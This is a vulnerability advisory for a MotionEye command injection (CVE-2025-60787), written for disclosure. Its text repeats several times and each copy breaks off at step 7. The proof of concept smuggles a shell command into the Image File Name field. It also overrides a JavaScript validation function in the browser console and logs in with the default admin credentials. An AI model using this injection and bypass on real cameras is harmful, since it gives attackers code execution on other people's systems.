CVE-2025-60787

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-j945-qm58-4gjx. This link is maintained to preserve external references.

Original Description

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

1. Start MotionEye container
   Launch the vulnerable container:

   docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
   

2. Verify version
   Confirm the running version inside logs:

   docker logs motioneye | grep "motionEye server"
   

   Result:

   motionEye server 0.43.1b4
   

   <img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />

3. Container shell access (for verification later)
   Keep a shell handy to verify results:

   docker exec -it motioneye /bin/bash
   ls -la /tmp
   

Exploitation Steps

4. Access Web Interface

   • Open browser at: http://127.0.0.1:9999
   • Login with default credentials: admin / (blank password)
   • Add a sample RTSP network camera (required to enable camera-specific settings).

   <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />

5. Attempt malicious filename input

   • Go to: Camera Settings → Still Images
   • In the Image File Name field, try:

     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
     

   • Observation: This is blocked by client-side validation in the browser.

   <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" />

   <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />

6. Client-Side Validation Discovery

   • The check is implemented in JavaScript:
     • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
   • Example validation function:

     function configUiValid() {
       $('div.settings').find('.validator').each(function () { this.validate(); });
       var valid = true;
       $('div.settings input, select').each(function () {
         if (this.invalid) { valid = false; return false; }
       });
       return valid;
     }
     

7. Bypass Validation

   • Open browser console (F12 → Console tab)
   • Override the function to always return true:

     configUiValid = function() { return true; };
     

   • This bypasses client-side validation and allows arbitrary values. …

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-j945-qm58-4gjx. This link is maintained to preserve external references.

Original Description

MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted.

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

1. Start MotionEye container
   Launch the vulnerable container:

   docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
   

2. Verify version
   Confirm the running version inside logs:

   docker logs motioneye | grep "motionEye server"
   

   Result:

   motionEye server 0.43.1b4
   

   <img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />

3. Container shell access (for verification later)
   Keep a shell handy to verify results:

   docker exec -it motioneye /bin/bash
   ls -la /tmp
   

Exploitation Steps

4. Access Web Interface

   • Open browser at: http://127.0.0.1:9999
   • Login with default credentials: admin / (blank password)
   • Add a sample RTSP network camera (required to enable camera-specific settings).

   <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />

5. Attempt malicious filename input

   • Go to: Camera Settings → Still Images
   • In the Image File Name field, try:

     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
     

   • Observation: This is blocked by client-side validation in the browser.

   <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" />

   <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />

6. Client-Side Validation Discovery

   • The check is implemented in JavaScript:
     • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
   • Example validation function:

     function configUiValid() {
       $('div.settings').find('.validator').each(function () { this.validate(); });
       var valid = true;
       $('div.settings input, select').each(function () {
         if (this.invalid) { valid = false; return false; }
       });
       return valid;
     }
     

7. Bypass Validation

   • Open browser console (F12 → Console tab)
   • Override the function to always return true:

     configUiValid = function() { return true; };
     

   • This bypasses client-side validation and allows arbitrary values. …

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

1. Start MotionEye container
   Launch the vulnerable container:

   docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
   

2. Verify version
   Confirm the running version inside logs:

   docker logs motioneye | grep "motionEye server"
   

   Result:

   motionEye server 0.43.1b4
   

   <img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />

3. Container shell access (for verification later)
   Keep a shell handy to verify results:

   docker exec -it motioneye /bin/bash
   ls -la /tmp
   

Exploitation Steps

4. Access Web Interface

   • Open browser at: http://127.0.0.1:9999
   • Login with default credentials: admin / (blank password)
   • Add a sample RTSP network camera (required to enable camera-specific settings).

   <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />

5. Attempt malicious filename input

   • Go to: Camera Settings → Still Images
   • In the Image File Name field, try:

     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
     

   • Observation: This is blocked by client-side validation in the browser.

   <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" />

   <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />

6. Client-Side Validation Discovery

   • The check is implemented in JavaScript:
     • /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4
   • Example validation function:

     function configUiValid() {
       $('div.settings').find('.validator').each(function () { this.validate(); });
       var valid = true;
       $('div.settings input, select').each(function () {
         if (this.invalid) { valid = false; return false; }
       });
       return valid;
     }
     

7. Bypass Validation

   • Open browser console (F12 → Console tab)
   • Override the function to always return true:

     configUiValid = function() { return true; };
     

   • This bypasses client-side validation and allows arbitrary values. …